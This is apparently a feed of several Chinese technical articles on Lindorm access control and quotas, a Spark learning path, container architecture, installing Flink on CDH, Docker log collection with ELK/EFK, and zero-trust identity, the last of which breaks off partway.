        Lindorm内核提供一套简单易用的用户认证和ACL体系。用户的认证只需要在配置中简单的填写用户名密码即可。用户的密码在服务器端非明文存储,并且在认证过程中不会明文传输密码,即使验证过程的密文被拦截,用以认证的通信内容不可重复使用,无法被伪造。

        Lindorm中有三个权限层级。Global,Namespace和Table。这三者是相互覆盖的关系。比如给user1赋予了Global的读写权限,则他就拥有了所有namespace下所有Table的读写权限。如果给user2赋予了Namespace1的读写权限,那么他会自动拥有Namespace1中所有表的读写权限。

        Group隔离

        当多个用户或者业务在使用同一个HBase集群时,往往会存在资源争抢的问题。一些重要的在线业务的读写,可能会被离线业务批量读写所影响。而Group功能,则是HBase增强版(Lindorm)提供的用来解决多租户隔离问题的功能。

        通过把RegionServer划分到不同的Group分组,每个分组上host不同的表,从而达到资源隔离的目的。

        1226.jpg

        例如,在上图中,我们创建了一个Group1,把RegionServer1和RegionServer2划分到Group1中,创建了一个Group2,把RegionServer3和RegionServer4划分到Group2。同时,我们把Table1和Table2也移动到Group1分组。这样的话,Table1和Table2的所有region,都只会分配到Group1中的RegionServer1和RegionServer2这两台机器上。

        同样,属于Group2的Table3和Table4的Region在分配和balance过程中,也只会落在RegionServer3和RegionServer4上。因此,用户在请求这些表时,发往Table1、Table2的请求,只会由RegionServer1和RegionServer2服务,而发往Table3和Table4的请求,只会由RegionServer3和RegionServer4服务,从而达到资源隔离的目的。

        Quota限流

        Lindorm内核中内置了一套完整的Quota体系,来对各个用户的资源使用做限制。对于每一个请求,Lindorm内核都有精确的计算所消耗的CU(Capacity Unit),CU会以实际消耗的资源来计算。比如用户一个Scan请求,由于filter的存在,虽然返回的数据很少,但可能已经在RegionServer已经消耗大量的CPU和IO资源来过滤数据,这些真实资源的消耗,都会计算在CU里。在把Lindorm当做一个大数据平台使用时,企业管理员可以先给不同业务分配不同的用户,然后通过Quota系统限制某个用户每秒的读CU不能超过多少,或者总的CU不能超过多少,从而限制用户占用过多的资源,影响其他用户。同时,Quota限流也支持Namesapce级别和表级别限制。

        最后

        全新一代NoSQL数据库Lindorm是阿里巴巴HBase&Lindorm团队9年以来技术积累的结晶,Lindorm在面向海量数据场景提供世界领先的高性能、可跨域、多一致、多模型的混合存储处理能力。对焦于同时解决大数据(无限扩展、高吞吐)、在线服务(低延时、高可用)、多功能查询的诉求,为用户提供无缝扩展、高吞吐、持续可用、毫秒级稳定响应、强弱一致可调、低存储成本、丰富索引的数据实时混合存取能力。

        Lindorm已经成为了阿里巴巴大数据体系中的核心产品之一,成功支持了集团各个BU上千个业务,也多次在天猫双十一“技术大团建”中经受住了考验。阿里CTO行癫说过,阿里的技术都应该通过阿里云输出,去普惠各行各业数百万客户。因此Lindorm从今年开始,已经在阿里云上以“HBase增强版”的形式,以及在专有云中对外输出(详情点击文末“阅读原文”或长按下方二维码了解)让云上的客户能够享受到阿里巴巴的技术红利,助力业务腾飞!

        ]]>
        干货 | 如何成为大数据Spark高手 Fri, 02 May 2025 09:39:04 +0800

        原创: 浪尖
        原文链接:https://mp.weixin.qq.com/s/jHp-LcqdHSg2DbLhWIbSfg

        Spark是发源于美国加州大学伯克利分校AMPLab的集群计算平台,它立足于内存计算,性能超过Hadoop百倍,从多迭代批量处理出发,兼收并蓄数据仓库、流处理和图计算等多种计算范式,是罕见的全能选手。Spark采用一个统一的技术堆栈解决了云计算大数据的如流处理、图技术、机器学习、NoSQL查询等方面的所有核心问题,具有完善的生态系统,这直接奠定了其一统云计算大数据领域的霸主地位。

        伴随Spark技术的普及推广,对专业人才的需求日益增加。Spark专业人才在未来也是炙手可热,轻而易举可以拿到百万的薪酬。而要想成为Spark高手,也需要一招一式,从内功练起:通常来讲需要经历以下阶段:

        第一阶段:熟练的掌握Scala及java语言

        1. Spark框架是采用Scala语言编写的,精致而优雅。要想成为Spark高手,你就必须阅读Spark的源代码,就必须掌握Scala,;
        2. 虽然说现在的Spark可以采用多语言Java、Python等进行应用程序开发,但是最快速的和支持最好的开发API依然并将永远是Scala方式的API,所以你必须掌握Scala来编写复杂的和高性能的Spark分布式程序;
        3. 尤其要熟练掌握Scala的trait、apply、函数式编程、泛型、逆变与协变等;
        4. 掌握JAVA语言多线程,netty,rpc,ClassLoader,运行环境等(源码需要)。

        第二阶段:精通Spark平台本身提供给开发者API

        1. 掌握Spark中面向RDD的开发模式部署模式:本地(调试),Standalone,yarn等 ,掌握各种transformation和action函数的使用;
        2. 掌握Spark中的宽依赖和窄依赖以及lineage机制;
        3. 掌握RDD的计算流程,例如Stage的划分、Spark应用程序提交给集群的基本过程和Worker节点基础的工作原理等
        4. 熟练掌握spark on yarn的机制原理及调优

        第三阶段:深入Spark内核

        此阶段主要是通过Spark框架的源码研读来深入Spark内核部分:

        1. 通过源码掌握Spark的任务提交过程;
        2. 通过源码掌握Spark集群的任务调度;
        3. 尤其要精通DAGScheduler、TaskScheduler,Driver和Executor节点内部的工作的每一步的细节;
        4. Driver和Executor的运行环境及RPC过程
        5. 缓存RDD,Checkpoint,Shuffle等缓存或者暂存垃圾清除机制
        6. 熟练掌握BlockManager,Broadcast,Accumulator,缓存等机制原理
        7. 熟练掌握Shuffle原理源码及调优

        第四阶级:掌握基于Spark Streaming

        Spark作为云计算大数据时代的集大成者,其中其组件spark Streaming在企业准实时处理也是基本是必备,所以作为大数据从业者熟练掌握也是必须且必要的:

        1. Spark Streaming是非常出色的实时流处理框架,要掌握其DStream、transformation和checkpoint等;
        2. 熟练掌握kafka 与spark Streaming结合的两种方式及调优方式
        3. 熟练掌握Structured Streaming原理及作用并且要掌握其余kafka结合
        4. 熟练掌握SparkStreaming的源码尤其是和kafka结合的两种方式的源码原理。
        5. 熟练掌握spark Streaming的web ui及各个指标,如:批次执行事件处理时间,调度延迟,待处理队列并且会根据这些指标调优。
        6. 会自定义监控系统

        第五阶级:掌握基于Spark SQL

        企业环境中也还是以数据仓库居多,鉴于大家对实时性要求比较高,那么spark sql就是我们作为仓库分析引擎的最爱(浪尖负责的两个集群都是计算分析一spark sql为主):

        1. spark sql要理解Dataset的概念及与RDD的区别,各种算子
        2. 要理解基于hive生成的永久表和没有hive的临时表的区别
        3. **spark sql+hive metastore基本是标配,无论是sql的支持,还是永久表特性
          **
        4. 要掌握存储格式及性能对比
        5. Spark sql也要熟悉它的优化器catalyst的工作原理。
        6. Spark Sql的dataset的链式计算原理,逻辑计划翻译成物理计划的源码(非必须,面试及企业中牵涉到sql源码调优的比较少)

        第六阶级:掌握基于spark机器学习及图计算

        企业环境使用spark作为机器学习及深度学习分析引擎的情况也是日渐增多,结合方式就很多了:

        java系:

        1. spark ml/mllib spark自带的机器学习库,目前也逐步有开源的深度学习及nlp等框架( spaCy, CoreNLP, OpenNLP, Mallet, GATE, Weka, UIMA, nltk, gensim, Negex, word2vec, GloVe)
        2. 与DeepLearning4j目前用的也比较多的一种形式

        python系:

        1. pyspark
        2. spark与TensorFlow结合

        第七阶级:掌握spark相关生态边缘

        企业中使用spark肯定也会涉及到spark的边缘生态,这里我们举几个常用的软件框架:

        1. hadoop系列:kafka,hdfs,yarn
        2. 输入源及结果输出,主要是:mysql/redis/hbase/mongod
        3. 内存加速的框架redis,Alluxio
        4. es、solr

        第八阶级:做商业级别的Spark项目

        通过一个完整的具有代表性的Spark项目来贯穿Spark的方方面面,包括项目的架构设计、用到的技术的剖析、开发实现、运维等,完整掌握其中的每一个阶段和细节,这样就可以让您以后可以从容面对绝大多数Spark项目。

        第九阶级:提供Spark解决方案

        1. 彻底掌握Spark框架源码的每一个细节;
        2. 根据不同的业务场景的需要提供Spark在不同场景的下的解决方案;
        3. 根据实际需要,在Spark框架基础上进行二次开发,打造自己的Spark框架;

        这就是浪尖总结的我们学好spark的主要步骤;想学好,着重留意深色字体的。坚持总是空难,但是坚持下来就会有质的飞跃。

        ]]>
        探讨基于阿里云容器技术架构(一) Fri, 02 May 2025 09:39:04 +0800 为什么有这个主题?

        记得2018年参加上海KubCon大会时,演讲人现场对国内生产使用Kubernetes情况的调查,现场举手的寥寥无几。时至今日,参加2019“MVP闭门大会”和“云栖大会”,感受到“云原生”无处不在。那么当容器、容器编排遇到传统微服务架构,会擦出怎样的火花,这其中有哪些坑?人类对科学的追求总是义无反顾的,进化到云原生时代,我们的机遇和挑战是什么?

        希望在这个场合一起探讨下,没有对错,只有适合与否。关键是当开始有沟通,才可能继续往前走。

        这个系列文章采用总分总的方式写,第一篇主要探讨整体架构,后面文章探讨各部分更具体的技术方案,最后总结。

        探讨整体架构

        让我们从一张图开始第一篇正式内容,这是一个可能的最小化服务化架构:
        阿里云微服务技术架构.png
        这是一个传统架构和容器技术混合的架构,在全面介绍之前,我们先分别看下各自的发展史,“知道从哪儿来,方知道我们往哪儿去”。

        从传统部署时代到容器部署时代

        下面这张图从运维角度描述了,应用从传统部署时代如何发展到容器部署时代。也折射出企业上云的发展过程。
        image.png

        在国内,阿里云吹响了企业上云的号角。第一阶段,是IT基础设施云化,包括虚拟机、网络等上云,降低企业运维成本、提升弹性伸缩能力。第二阶段,是核心架构云化,包括阿里云数据库、阿里云微服务引擎 ( Microservice Engine, 简称:MSE )、全局事务服务GTS等,Kubernetes或许也算。第二阶段的升级版可能是全面拥抱Cloud Native,随着有状态应用和无状态应用全面拥抱Kubernetes,我们可以猜测走向了面向Kubernetes编程时代,开发人员不必关心微服务治理的各种技术栈和开发语言(诸如:Golang、Java等),写好业务代码,定义好云原生开放应用模型(OAM),发布上线即可,应用将变得更轻量、接入成本更低、迭代更敏捷。

        IT行业发展是如此迅速,却又是如此必然。类比下,编程语言从汇编、C++、Java到新型语言Golang,无不是从复杂到易用的过程。易用、轻量贯穿整个行业的发展脉络,所以我们有理由相信这一天的到来,尽管过程比较曲折,Istio如今还不尽如人意。

        那些年,我们折腾过的微服务架构

        下图来源于蚂蚁金服@卓与( 一个帅又专业的小伙:) )的一次SOFAMesh分享。基本代表了,传统微服务架构Dubbo、SOFABoot、Spring Cloud等微服务架构核心能力和应用之间的关系。这类微服务架构提供“胖客户端”集成到应用,这个小胖每次升级都会影响到应用,也增加了中间件开发团队和业务团队沟通、协调成本,因为耦合太紧了。让我们寄希望于Cloud Native来解吧!
        image.png

        混合架构

        熟悉Kubernetes的同学知道,他有几个对于微服务架构来讲重要能力:
        容器编排能力
        架起了容器镜像和硬件资源的桥梁,通过yarml声明轻松发布“可执行”程序,配合Liveness 和 Readiness可以做到不停机滚动发布,这都减轻了微服务运营成本。
        服务发现能力
        Kubernetes可以使用DNS(这是一个较早的基于服务端的服务发现模式)名称暴露一个应用集群的服务地址。Kubernetes还可以用负载均衡,把流量分配到Pod,从而使服务更稳定。这部分看着是否和“胖客户端”的服务发现有点儿像。

        在Service Mesh没有完全落地之前,我们是否可以结合Kubernetes上述能力和传统微服务架构能力,各自发挥所长,组成一个混合架构呢,于是有了开篇第一张大图。

        本篇总结

        我们探讨了容器技术和传统微服务架构特点,并且尝试结合各自优势,组成一个混合架构。
        后面我们就具体的技术领域做探讨和可能的坑。

        ]]>
        在 Cloudera Data Flow 上运行你的第一个 Flink 例子 Fri, 02 May 2025 09:39:04 +0800 文档编写目的

        Cloudera Data Flow(CDF) 作为 Cloudera 一个独立的产品单元,围绕着实时数据采集,实时数据处理和实时数据分析有多个不同的功能模块,如下图所示:

        1.jpg

        图中 4 个功能模块从左到右分别解释如下:

        1. Cloudera Edge Management(CEM),主要是指在边缘设备如传感器上部署 MiNiFi 的 agent 后用于采集数据。
        2. Cloudera Flow Management(CFM),主要是使用 Apache NiFi 通过界面化拖拽的方式实现数据采集,处理和转换。
        3. Cloudera Streaming Processing(CSP),主要包括 Apache Kafka,Kafka Streams,Kafka 的监控 Streams Messaging Manager(SMM),以及跨集群 Kafka topic 的数据复制 Streams Replication Manager(SRM)。
        4. Cloudera Streaming Analytics(CSA),以前这块是使用 Storm 来作为 Native Streaming 来补充 Spark Streaming 的 Micro-batch 的时延问题,目前这块改为 Flink 来实现,未来的 CDF 中将不再包含 Storm。

        本文 Fayson 主要是介绍如何在 CDH6.3 中安装 Flink 1.9 以及运行你的第一个 Flink 例子,以下是测试环境信息:

        1. CM 和 CDH 版本为 6.3
        2. Redhat 7.4
        3. JDK 1.8.0_181
        4. 集群未启用 Kerberos
        5. Root 用户安装

        安装 Flink 1.9

        1.准备 Flink 1.9 的 csd 文件,并放置到 Cloudera Manager Server 的 /opt/cloudera/csd 目录。然后重启 Cloudera Manager Server 服务。

        [root@ip-172-31-13-38 ~]# cd /opt/cloudera/csd
        [root@ip-172-31-13-38 csd]# ll
        total 44
        -rw-r--r-- 1 root root 12407 Nov  8 01:26 FLINK-1.9.0-csa1.0.0.0-cdh6.3.0.jar
        -rw-r--r-- 1 root root 24630 Sep  4 20:02 STREAMS_MESSAGING_MANAGER-2.1.0.jar
        [root@ip-172-31-13-38 csd]# systemctl restart cloudera-scm-server

        2.CM 重启完成以后,添加服务页面可以看到有 Flink 服务。

        22.jpg

        3.下载 Flink 1.9 的 Parcel,并放置 /var/www/html 目录。

        [root@ip-172-31-13-38 ~]# cd /var/www/html/flink1.9/
        [root@ip-172-31-13-38 flink1.9]# ll
        total 127908
        -rw-r--r-- 1 root root 130962403 Nov  8 01:36 FLINK-1.9.0-csa1.0.0.0-cdh6.3.0-el7.parcel
        -rw-r--r-- 1 root root        41 Nov  8 01:28 FLINK-1.9.0-csa1.0.0.0-cdh6.3.0-el7.parcel.sha1
        -rw-r--r-- 1 root root      4421 Nov  8 01:28 manifest.json
        [root@ip-172-31-13-38 flink1.9]#

        4.通过 Hosts > Parcels 进入 Cloudera Manager 的 Parcel 页面,输入 SMM Parcel 的 http 地址,下载->分配->激活。

        2.jpg
        3.jpg

        5.进入 CM 主页点击“添加服务”。

        4.jpg

        6.选择添加 Flink 服务,点击继续。

        5.jpg

        7.选择 Flink History Server 以及 Gateway 节点,点击继续。

        6.jpg

        8.点击继续。

        7.jpg

        9.等待 Flink History Server 启动成功,完成后点击继续。

        8.jpg
        9.jpg

        10.安装完成,点击完成回到 CM 主页。

        10.jpg
        11.jpg

        发现 Flink 的状态为灰色,CMS 有重启提示,按照提示重启 CMS 服务,重启过程略。重启完成后显示 Flink 服务正常。

        12.jpg

        第一个 Flink 例子

        1.执行 Flink 自带的 example 的 wordcount 例子。

        [root@ip-172-31-13-38 ~]# flink run -m yarn-cluster -yn 4 -yjm 1024 -ytm 1024 /opt/cloudera/parcels/FLINK/lib/flink/examples/streaming/WordCount.jar --input hdfs://ip-172-31-13-38.ap-southeast-1.compute.internal:8020/fayson/ods_user_600.txt --output hdfs://ip-172-31-13-38.ap-southeast-1.compute.internal:8020/fayson/wordcount_output

        13.jpg
        14.jpg

        2.查看输出结果。

        15.jpg

        3.在 YARN 和 Flink 的界面上分别都能看到这个任务。

        16.jpg
        17.jpg

        至此,Flink 1.9 安装到 CDH 6.3 以及第一个例子介绍完毕。

        备注:这是 Cloudera Streaming Analytics 中所包含 Apache Flink 的抢先测试版。Cloudera 不提供对此版本的支持。该 Beta 版本的目的是让用户可以尽可能早的开始使用 Flink 进行应用程序的开发。
        更多技术文章可了解以下 Apache Flink 系列入门教程。

        ]]>
        容器日志管理:从 docker logs 到 ELK/EFK Fri, 02 May 2025 09:39:04 +0800 原文作者:EdisonZhou
        原文链接:https://developer.aliyun.com/article/727997

        监控和日志历来都是系统稳定运行和问题排查的关键,在微服务架构中,数量众多的容器以及快速变化的特性使得一套集中式的日志管理系统变成了生产环境中一个不可获取的部分。此次话题我们会集中在日志管理方面,本篇会介绍 Docker 自带的 logs 子命令以及其 Logging driver,然后介绍一个流行的开源日志管理方案 ELK/EFK。

        一、Docker logs 子命令

          默认情况下,Docker 的日志会发送到容器的标准输出设备(STDOUT)和标准错误设备(STDERR),其中 STDOUT 和 STDERR 实际上就是容器的控制台终端。

          我们可以通过 logs 子命令来查看具体某个容器的日志输出:

        docker logs edc-k8s-demo

        image.png

          这时看到的日志是静态的,截止到目前为止的日志。如果想要持续看到新打印出的日志信息,那么可以加上 -f 参数,如:

        docker logs -f edc-k8s-demo

        二、Docker logging driver

          刚刚我们学习了默认配置下,Docker 日志会发送到 STDOUT 和 STDERR。但实际上,Docker 还提供了其他的一些机制允许我们从运行的容器中提取日志,这些机制统称为 logging driver。

          对 Docker 而言,其默认的 logging driver 是 json-file,如果在启动时没有特别指定,都会使用这个默认的 logging driver。

        image.png

          json-file 会将我们在控制台通过 docker logs 命名看到的日志都保存在一个json文件中,我们可以在服务器Host上的容器目录中找到这个 json 文件。

        容器日志路径:/var/lib/docker/containers/<container-id>/<container-id>-json.log
          例如我们可以查看一个 exceptionless-api 容器的 json 日志:

        image.png

          一个快速查看某个容器的日志文件路径的方法:

        docker inspect exceptionless_api_1
          通过 inspect 命令,可以查到该容器的 ID 及一系列配置信息,我们重点关注 LogPath 即可:

        image.png

          查到 LogPath 后,即可复制其后面的日志路径了,打开这个 json 文件你就可以看到输出的容器日志了。

          除了 json-file,Docker 还支持以下多种 logging dirver,来源:Configure logging drivers

        image.png

          其中,none 代表禁用容器日志,不会输出任何容器日志。

          其他几个logging driver解释如下:

        • syslog 与 journald 是Linux上的两种日志管理服务
        • awslog、splunk 与 gcplogs是第三方日志托管服务
        • gelf 与 fluentd 是两种开源的日志管理方案
            我们可以在容器启动时通过加上 --log-driver 来指定使用哪个具体的 logging driver,例如:

        docker run -d --log-driver=syslog ......
          如果想要设置默认的logging driver,那么则需要修改Docker daemon的启动脚本,例如:

        {
          "log-driver": "json-file",
          "log-opts": {
            "labels": "production_status",
            "env": "os,customer"
          }
        }
        

          每个logging driver都有一些自己特定的log-opt,使用时可以参考具体官方文档。

        三、关于ELK

        3.1 ELK简介

          ELK 是Elastic公司提供的一套完整的日志收集以及展示的解决方案,是三个产品的首字母缩写,分别是ElasticSearch、Logstash 和 Kibana。

        image.png

        Elasticsearch 是实时全文搜索和分析引擎,提供搜集、分析、存储数据三大功能
        Logstash 是一个用来搜集、分析、过滤日志的工具
        Kibana 是一个基于 Web 的图形界面,用于搜索、分析和可视化存储在 Elasticsearch 指标中的日志数据

        3.2 ELK 日志处理流程

        image.png

          上图展示了在 Docker 环境下,一个典型的 ELK 方案下的日志收集处理流程:

        • Logstash 从各个 Docker 容器中提取日志信息
        • Logstash 将日志转发到 ElasticSearch 进行索引和保存
        • Kibana 负责分析和可视化日志信息
            由于 Logstash 在数据收集上并不出色,而且作为 Agent,其性能并不达标。基于此,Elastic 发布了 beats 系列轻量级采集组件。

        image.png

          这里我们要实践的 Beat 组件是 Filebeat,Filebeat 是构建于 beats 之上的,应用于日志收集场景的实现,用来替代 Logstash Forwarder 的下一代 Logstash 收集器,是为了更快速稳定轻量低耗地进行收集工作,它可以很方便地与 Logstash 还有直接与 Elasticsearch 进行对接。

          本次实验直接使用Filebeat作为Agent,它会收集我们在第一篇《Docker logs & logging driver》中介绍的json-file的log文件中的记录变动,并直接将日志发给ElasticSearch进行索引和保存,其处理流程变为下图,你也可以认为它可以称作 EFK。

        image.png

        四、ELK套件的安装

          本次实验我们采用 Docker 方式部署一个最小规模的 ELK 运行环境,当然,实际环境中我们或许需要考虑高可用和负载均衡。

          首先拉取一下 sebp/elk 这个集成镜像,这里选择的 tag 版本是 640(最新版本已经是 7XX 了):

        docker pull sebp/elk:640
          注:由于其包含了整个 ELK 方案,所以需要耐心等待一会。

          通过以下命令使用 sebp/elk 这个集成镜像启动运行 ELK:

        docker run -it -d --name elk 
            -p 5601:5601 
            -p 9200:9200 
            -p 5044:5044 
            sebp/elk:640
        

          运行完成之后就可以先访问一下 http://[Your-HostIP]:5601 看看Kibana的效果:  

        image.png

          Kibana管理界面

        image.png

        Kibana Index Patterns界面

          当然,目前没有任何可以显示的ES的索引和数据,再访问一下http://[Your-HostIP]:9200 看看ElasticSearch的API接口是否可用:

        image.png

        ElasticSearch API

          _Note:_如果启动过程中发现一些错误,导致ELK容器无法启动,可以参考《Docker启动ElasticSearch报错》及《ElasticSearch启动常见错误》一文。如果你的主机内存低于4G,建议增加配置设置ES内存使用大小,以免启动不了。例如下面增加的配置,限制ES内存使用最大为1G:

        docker run -it -d --name elk 
            -p 5601:5601 
            -p 9200:9200 
            -p 5044:5044 
           -e ES_MIN_MEM=512m 
            -e ES_MAX_MEM=1024m 
            sebp/elk:640

        五、Filebeat配置

        5.1 安装Filebeat

          这里我们通过rpm的方式下载Filebeat,注意这里下载和我们ELK对应的版本(ELK是6.4.0,这里也是下载6.4.0,避免出现错误):

        wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.4.0-x86_64.rpm
        rpm -ivh filebeat-6.4.0-x86_64.rpm

        5.2 配置Filebeat  

          这里我们需要告诉Filebeat要监控哪些日志文件 及 将日志发送到哪里去,因此我们需要修改一下Filebeat的配置:

        cd /etc/filebeat
        vim filebeat.yml

          要修改的内容为:

          (1)监控哪些日志?

        filebeat.inputs:
        
        # Each - is an input. Most options can be set at the input level, so
        # you can use different inputs for various configurations.
        # Below are the input specific configurations.
        
        - type: log
        
          # Change to true to enable this input configuration.
          enabled: true
        
          # Paths that should be crawled and fetched. Glob based paths.
          paths:
            - /var/lib/docker/containers/*/*.log
            - /var/log/syslog

          这里指定paths:/var/lib/docker/containers/_/_.log,另外需要注意的是将 enabled 设为 true。

          (2)将日志发到哪里?

        #-------------------------- Elasticsearch output ------------------------------
        output.elasticsearch:
          # Array of hosts to connect to.
          hosts: ["192.168.16.190:9200"]
        
          # Optional protocol and basic auth credentials.
          #protocol: "https"
          #username: "elastic"
          #password: "changeme"

          这里指定直接发送到ElasticSearch,配置一下ES的接口地址即可。

          _Note:_如果要发到Logstash,请使用后面这段配置,将其取消注释进行相关配置即可:

        #----------------------------- Logstash output --------------------------------
        #output.logstash:
          # The Logstash hosts
          #hosts: ["localhost:5044"]
        
          # Optional SSL. By default is off.
          # List of root certificates for HTTPS server verifications
          #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]
        
          # Certificate for SSL client authentication
          #ssl.certificate: "/etc/pki/client/cert.pem"
        
          # Client Certificate Key
          #ssl.key: "/etc/pki/client/cert.key"

        5.3 启动 Filebeat

          由于 Filebeat 在安装时已经注册为 systemd 的服务,所以只需要直接启动即可:

        systemctl start filebeat.service

          检查 Filebeat 启动状态:

        systemctl status filebeat.service

        5.4 验证 Filebeat

          通过访问ElasticSearch API可以发现以下变化:ES建立了以filebeat-开头的索引,我们还能够看到其来源及具体的message。

        image.png

        六、Kibana 配置
          接下来我们就要告诉 Kibana,要查询和分析 ElasticSearch 中的哪些日志,因此需要配置一个 Index Pattern。从 Filebeat 中我们知道 Index 是 filebeat-timestamp 这种格式,因此这里我们定义 Index Pattern 为 filebeat-*

        image.png

          点击 Next Step,这里我们选择 Time Filter field name 为 @timestamp:

        image.png

          单击 Create index pattern 按钮,即可完成配置。

          这时我们单击 Kibana 左侧的 Discover 菜单,即可看到容器的日志信息啦:

        image.png

          仔细看看细节,我们关注一下 message 字段:

        image.png

          可以看到,我们重点要关注的是 message,因此我们也可以筛选一下只看这个字段的信息:

        image.png

          此外,Kibana 还提供了搜索关键词的日志功能,例如这里我关注一下日志中包含 unhandled exception(未处理异常)的日志信息:

        image.png

          这里只是朴素的展示了导入 ELK 的日志信息,实际上 ELK 还有很多很丰富的玩法,例如分析聚合、炫酷 Dashboard 等等。笔者在这里也是初步使用,就介绍到这里啦。

        七、Fluentd 引入

        7.1 关于 Fluentd

          前面我们采用的是 Filebeat 收集 Docker 的日志信息,基于 Docker 默认的 json-file 这个 logging driver,这里我们改用 Fluentd 这个开源项目来替换 json-file 收集容器的日志。

          Fluentd 是一个开源的数据收集器,专为处理数据流设计,使用 JSON 作为数据格式。它采用了插件式的架构,具有高可扩展性高可用性,同时还实现了高可靠的信息转发。Fluentd 也是云原生基金会 (CNCF) 的成员项目之一,遵循 Apache 2 License 协议,其 github 地址为:https://github.com/fluent/fluentd/
        Fluentd 与 Logstash 相比,比占用内存更少、社区更活跃,两者的对比可以参考这篇文章《Fluentd vs Logstash》。

          因此,整个日志收集与处理流程变为下图,我们用 Filebeat 将 Fluentd 收集到的日志转发给 Elasticsearch。

        image.png

          当然,我们也可以使用 Fluentd 的插件(fluent-plugin-elasticsearch)直接将日志发送给 Elasticsearch,可以根据自己的需要替换掉 Filebeat,从而形成 Fluentd => ElasticSearch => Kibana 的架构,也称作 EFK。

        7.2 运行 Fluentd

          这里我们通过容器来运行一个 Fluentd 采集器:

        docker run -d -p 24224:24224 -p 24224:24224/udp -v /edc/fluentd/log:/fluentd/log fluent/fluentd

          默认 Fluentd 会使用 24224 端口,其日志会收集在我们映射的路径下。

          此外,我们还需要修改 Filebeat 的配置文件,将 /edc/fluentd/log 加入监控目录下:

        #=========================== Filebeat inputs =============================
        
        filebeat.inputs:
        
        # Each - is an input. Most options can be set at the input level, so
        # you can use different inputs for various configurations.
        # Below are the input specific configurations.
        
        - type: log
        
          # Change to true to enable this input configuration.
          enabled: true
        
          # Paths that should be crawled and fetched. Glob based paths.
          paths:
            - /edc/fluentd/log/*.log

          添加监控配置之后,需要重新 restart 一下 filebeat:

        systemctl restart filebeat

        7.3 运行测试容器

          为了验证效果,这里我们 Run 两个容器,并分别制定其 log-dirver 为 fluentd:

        docker run -d 
                   --log-driver=fluentd 
                   --log-opt fluentd-address=localhost:24224 
                   --log-opt tag="test-docker-A" 
                   busybox sh -c 'while true; do echo "This is a log message from container A"; sleep 10; done;'
        
        docker run -d 
                   --log-driver=fluentd 
                   --log-opt fluentd-address=localhost:24224 
                   --log-opt tag="test-docker-B" 
                   busybox sh -c 'while true; do echo "This is a log message from container B"; sleep 10; done;'

          这里通过指定容器的 log-driver,以及为每个容器设立了 tag,方便我们后面验证查看日志。

        7.4 验证 EFK 效果

          这时再次进入 Kibana 中查看日志信息,便可以通过刚刚设置的 tag 信息筛选到刚刚添加的容器的日志信息了:

        image.png

        八、小结
        本文从 Docker 自带的 logs 子命令入手,介绍了 Docker 具有多种 logging dirver,然后过度到 ELK 的基本组成,并介绍了 ELK 的基本处理流程,以及从 0 开始搭建了一个 ELK 环境,演示了基于 Filebeat 收集容器日志信息的案例。然后,通过引入 Fluentd 这个开源数据收集器,演示了如何基于 EFK 的日志收集案例。当然,ELK/EFK 有很多的知识点,希望未来能够分享更多的实践总结。

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        云原生时代的 Identity Fri, 02 May 2025 09:39:04 +0800 作者:
        艾竞,花名庭坚,蚂蚁金服系统部研究员
        李婷婷,花名鸿杉,蚂蚁金服平台安全资深安全专家

        背景

        随着轻量级容器(container)的兴起,应用(applications)逐渐由单体(monolithic)向微服务(micro-service)演进。相应的,应用的微服务化也带来了如下的变化:

        • 软件研发、运维人员组织围绕着微服务下的软件模块重新架构:研发、运维人员分化成更小的组织以专注于一个或多个软件模块(以容器的形式交付);在微服务 API 稳定的情况下,各个模块独立开发,测试和部署可以进行更高速的迭代
        • 应用中软件模块之间由函数调用的“强”耦合变成网络远程调用的“松”耦合;维持原先各个模块之间的信任需要有额外的安全机制

        另一方面,除了台式机(desktop),其它可以接入应用的物理设备(device),例如笔记本电脑(laptop),手机(mobile phone),也已经大规模普及。因此,企业员工通常拥有多个设备来访问企业应用以完成日常工作。个人多设备以及设备的移动性对于企业传统的安全边界模型(perimeter model)提出了挑战。

        可以观察到,在应用由单体向微服务,设备由单一、静态向多种、移动的演化下,系统中各个 Entity(实体,例如,人,设备,服务等)的 Identity(身份),由单一的网络标识,即 IP 或者 IP:Port,向多种形态(X.509 certificate, token, service account 等)分化。Identity 的分化会对研发、运维效能和资源效能也会产生深刻的影响。

        在这些背景下,传统基于 IP、域名的管控方式临着巨大的挑战,静态的规则让安全策略变得无法维护;同时,在微服务架构下,安全人员很难快速找到一条边界,将不同的风险域隔离开来。因此,急需一种新 Access Control 模式来应对。

        Forrester 的首席分析师约翰·金德维格在 2010 年提出了零信任(Zero Trust)的理念针对传统边界安全架构思想进行了重新评估和审视,并对安全架构思路给出了新的建议,其核心思想是 "Never Trust,Always Verify" - All network traffic is untrusted. There is no "trusted traffic"。阿里巴巴已经在内部开始推进零信任架构的落地,包括企业内部接入层的零信任、生产网内部机器、应用间的零信任,并已经开始在 双11 中发挥了重要的作用。

        零信任第一个核心问题就是 Identity,赋予不同的 Entity 不同的 Identity,解决是谁在什么环境下访问某个具体的资源的问题。因此,本文将从 Identity 与微服务和 Identity 与企业应用访问两个方面来阐述 Identity 在生产应用和企业应用中的思考,同时也会介绍在不同的场景下如何利用 Identity 解决谁在什么环境可以访问某个资源的具体实践。

        Identity 与微服务

        随着用户需求在信息化时代的日益增长,软件也变得越来越复杂。为了应对软件复杂度的提升,软件的架构也由简单的单体应用逐渐演变成为复杂的微服务应用。2017 年,Kubernetes 开始成为事实上的标准容器编排平台。同一年,谷歌联合 IBM,Lyft 推出的 Istio 主打 SideCar 模式下的微服务治理。至此,在云原生时代,应用得以在 Kubernetes 和 Istio 构成的底座之上以容器的形式微服务化。

        在云原生的转型中,软件研发、运维组织架构需要围绕微服务来重新构建:如果把一组在逻辑、功能上耦合紧密的软件模块看作一门“功夫”的话,它们背后的研发、运维人员就是一个“武林门派”;各个“武林门派”相对独立的“修炼”自己的“功夫”;配合起来,又能满足软件系统整体的演进。然而,这套适配微服务的组织架构对于研发、运维模式提出了很大的挑战。归结到一点:就是从每个研发、运维者的角度,如何在关注本门“功夫”的同时保证软件系统整体的可用性。

        Identity 由单一网络地址变得更多元化以标识不同的对象(例如,用户,用户组,服务等)为应对上述挑战提供了可能性。接下来,我们会看到 Identity 是如何覆盖整个软件开发周期各个场景为每个研发、运维者创造相对隔离的“环境”的。

